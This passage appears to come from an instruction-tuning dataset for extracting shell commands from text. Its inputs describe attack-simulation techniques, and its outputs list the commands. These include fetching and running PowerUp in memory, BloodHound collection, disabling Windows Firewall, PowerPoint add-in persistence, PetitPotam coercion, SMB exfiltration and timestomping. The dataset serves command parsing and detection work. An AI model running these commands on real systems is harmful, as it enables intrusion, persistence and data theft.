\"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    Kubernetes secrets containing passwords and connection strings can be viewed with the command: kubectl get secrets -n #{namespace}",
    "output": "{\"command_list\": [\"kubectl get secrets -n #{namespace}\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    The following command will spawn notepad.exe as a child process of the current one: Start-ATHProcessUnderSpecificParent  -ParentId #{parent_pid} -TestGuid #{test_guid}",
    "output": "{\"command_list\": [\"Start-ATHProcessUnderSpecificParent  -ParentId #{parent_pid} -TestGuid #{test_guid}\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    To create a PowerPoint VBA Add-in that runs automatically on startup, use the following command: Copy \"PathToAtomicsFolder\\T1137.006\\bin\\Addins\\PptVBAaddin.ppam\" \"$env:APPDATA\\Microsoft\\Addins\\notepad.ppam\"\n$ver = (New-Object -COMObject \"PowerPoint.Application\").version\n$ExcelRegPath=\"HKCU:\\Software\\Microsoft\\Office\\$Ver\\PowerPoint\\AddIns\\notepad\"\nNew-Item -type Directory $ExcelRegPath -Force | Out-Null\nNew-ItemProperty $ExcelRegPath \"Autoload\" -value \"1\" -propertyType DWORD  | Out-Null\nNew-ItemProperty $ExcelRegPath \"Path\" -value \"notepad.ppam\" -propertyType string | Out-Null\nStop-Process -Name \"PowerPnt\" -ErrorAction Ignore\nStart-Process \"PowerPnt\"",
    "output": "{\"command_list\": [\"Copy \\\"PathToAtomicsFolder\\\\T1137.006\\\\bin\\\\Addins\\\\PptVBAaddin.ppam\\\" \\\"$env:APPDATA\\\\Microsoft\\\\Addins\\\\notepad.ppam\\\"\\n$ver = (New-Object -COMObject \\\"PowerPoint.Application\\\").version\\n$ExcelRegPath=\\\"HKCU:\\\\Software\\\\Microsoft\\\\Office\\\\$Ver\\\\PowerPoint\\\\AddIns\\\\notepad\\\"\\nNew-Item -type Directory $ExcelRegPath -Force | Out-Null\\nNew-ItemProperty $ExcelRegPath \\\"Autoload\\\" -value \\\"1\\\" -propertyType DWORD  | Out-Null\\nNew-ItemProperty $ExcelRegPath \\\"Path\\\" -value \\\"notepad.ppam\\\" -propertyType string | Out-Null\\nStop-Process -Name \\\"PowerPnt\\\" -ErrorAction Ignore\\nStart-Process \\\"PowerPnt\\\"\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    The Windows Firewall can be disabled through registry changes with the following command: New-ItemProperty \"HKLM:\\SOFTWARE\\Policies\\Microsoft\\WindowsFirewall\\DomainProfile\" -Name EnableFirewall -PropertyType DWORD -Value 0 -Force\nNew-ItemProperty \"HKLM:\\SOFTWARE\\Policies\\Microsoft\\WindowsFirewall\\StandardProfile\" -Name EnableFirewall -PropertyType DWORD -Value 0 -Force\n",
    "output": "{\"command_list\": [\"New-ItemProperty \\\"HKLM:\\\\SOFTWARE\\\\Policies\\\\Microsoft\\\\WindowsFirewall\\\\DomainProfile\\\" -Name EnableFirewall -PropertyType DWORD -Value 0 -Force\\nNew-ItemProperty \\\"HKLM:\\\\SOFTWARE\\\\Policies\\\\Microsoft\\\\WindowsFirewall\\\\StandardProfile\\\" -Name EnableFirewall -PropertyType DWORD -Value 0 -Force\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    This module executes PetitPotam's Windows binary, coercing authentication via the command:\n& \"#{petitpotam_path}\" #{captureServerIP} #{targetServerIP} #{efsApi}\nWrite-Host \"End of PetitPotam attack\"",
    "output": "{\"command_list\": [\"& \\\"#{petitpotam_path}\\\" #{captureServerIP} #{targetServerIP} #{efsApi}\\nWrite-Host \\\"End of PetitPotam attack\\\"\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    To simulate data exfiltration over SMB with QUIC protocol, use the following commands: New-SmbMapping -RemotePath '#{remote_path}' -TransportType QUIC -SkipCertificateCheck\ncopy '#{local_file}' 'Z:\\'",
    "output": "{\"command_list\": [\"New-SmbMapping -RemotePath '#{remote_path}' -TransportType QUIC -SkipCertificateCheck\\ncopy '#{local_file}' 'Z:\\\\'\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    For successful timestomping of kxwn.lock, place the file in #{file_path} and use the following command to modify its timestamp: import-module \"#{file_path}\\timestomp.ps1\"\ntimestomp -dest \"#{file_path}\\kxwn.lock\"\n",
    "output": "{\"command_list\": [\"import-module \\\"#{file_path}\\\\timestomp.ps1\\\"\\ntimestomp -dest \\\"#{file_path}\\\\kxwn.lock\\\"\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
